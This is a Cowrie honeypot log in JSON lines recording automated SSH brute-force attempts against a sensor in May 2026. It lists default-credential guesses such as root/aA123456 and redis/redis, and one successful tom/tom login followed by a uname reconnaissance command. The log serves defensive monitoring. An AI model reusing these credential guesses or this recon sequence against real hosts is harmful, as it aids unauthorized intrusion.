{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36716,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba53117d0e5c","protocol":"ssh","message":"New connection: 192.109.200.237:36716 (159.203.135.109:22) [session: ba53117d0e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:27.071236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:27.075479Z","src_ip":"192.109.200.237","session":"ba53117d0e5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:27.157192Z","src_ip":"192.109.200.237","session":"ba53117d0e5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:27.403750Z","src_ip":"192.109.200.237","session":"ba53117d0e5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:28.489380Z","src_ip":"192.109.200.237","session":"ba53117d0e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38734,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7dacae918a0","protocol":"ssh","message":"New connection: 192.109.200.237:38734 (159.203.135.109:22) [session: f7dacae918a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:30.522112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:30.545071Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:30.607114Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:30.927887Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:31.147365Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:31.151254Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:31.238088Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:31.245016Z","src_ip":"192.109.200.237","session":"f7dacae918a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38748,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b593b5b35f2","protocol":"ssh","message":"New connection: 192.109.200.237:38748 (159.203.135.109:22) [session: 2b593b5b35f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:33.898399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:33.902609Z","src_ip":"192.109.200.237","session":"2b593b5b35f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:33.984520Z","src_ip":"192.109.200.237","session":"2b593b5b35f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:34.231197Z","src_ip":"192.109.200.237","session":"2b593b5b35f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:35.323691Z","src_ip":"192.109.200.237","session":"2b593b5b35f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38768,"dst_ip":"159.203.135.109","dst_port":22,"session":"4438f1978ff2","protocol":"ssh","message":"New connection: 192.109.200.237:38768 (159.203.135.109:22) [session: 4438f1978ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:37.088497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:37.096699Z","src_ip":"192.109.200.237","session":"4438f1978ff2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:37.179006Z","src_ip":"192.109.200.237","session":"4438f1978ff2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aA123456","message":"login attempt [root/aA123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:37.424454Z","src_ip":"192.109.200.237","session":"4438f1978ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:38.527166Z","src_ip":"192.109.200.237","session":"4438f1978ff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.831352949142456,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:38.671946Z","src_ip":"152.42.224.71","session":"e796d7670606","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36274,"dst_ip":"159.203.135.109","dst_port":22,"session":"004e8737f24f","protocol":"ssh","message":"New connection: 192.109.200.237:36274 (159.203.135.109:22) [session: 004e8737f24f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:40.422670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:40.426566Z","src_ip":"192.109.200.237","session":"004e8737f24f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:40.508315Z","src_ip":"192.109.200.237","session":"004e8737f24f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:40.827293Z","src_ip":"192.109.200.237","session":"004e8737f24f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:41.911821Z","src_ip":"192.109.200.237","session":"004e8737f24f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3727af13e4b","protocol":"ssh","message":"New connection: 103.15.222.183:60688 (159.203.135.109:22) [session: d3727af13e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:43.507594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:43.511849Z","src_ip":"103.15.222.183","session":"d3727af13e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:43.758302Z","src_ip":"103.15.222.183","session":"d3727af13e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36288,"dst_ip":"159.203.135.109","dst_port":22,"session":"688ee2d72501","protocol":"ssh","message":"New connection: 192.109.200.237:36288 (159.203.135.109:22) [session: 688ee2d72501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:43.919830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:43.925431Z","src_ip":"192.109.200.237","session":"688ee2d72501","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:44.007789Z","src_ip":"192.109.200.237","session":"688ee2d72501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:44.255862Z","src_ip":"192.109.200.237","session":"688ee2d72501","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"greedisgood","message":"login attempt [root/greedisgood] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:44.506015Z","src_ip":"103.15.222.183","session":"d3727af13e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96523928642273,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:44.782431Z","src_ip":"152.42.224.71","session":"477b9f5e907a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:45.340460Z","src_ip":"192.109.200.237","session":"688ee2d72501","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:45.803455Z","src_ip":"103.15.222.183","session":"d3727af13e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36296,"dst_ip":"159.203.135.109","dst_port":22,"session":"18205de53dcc","protocol":"ssh","message":"New connection: 192.109.200.237:36296 (159.203.135.109:22) [session: 18205de53dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:47.265074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:47.270138Z","src_ip":"192.109.200.237","session":"18205de53dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:47.351924Z","src_ip":"192.109.200.237","session":"18205de53dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:47.596823Z","src_ip":"192.109.200.237","session":"18205de53dcc","protocol":"ssh"}
